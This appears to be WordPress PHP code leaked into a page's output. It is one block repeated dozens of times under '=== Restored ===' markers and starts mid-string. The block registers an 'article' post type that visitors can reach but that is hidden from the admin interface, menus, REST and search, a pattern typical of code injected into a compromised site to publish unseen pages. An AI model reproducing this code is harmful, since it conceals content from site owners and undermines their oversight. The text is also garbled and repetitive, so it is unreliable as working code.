"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
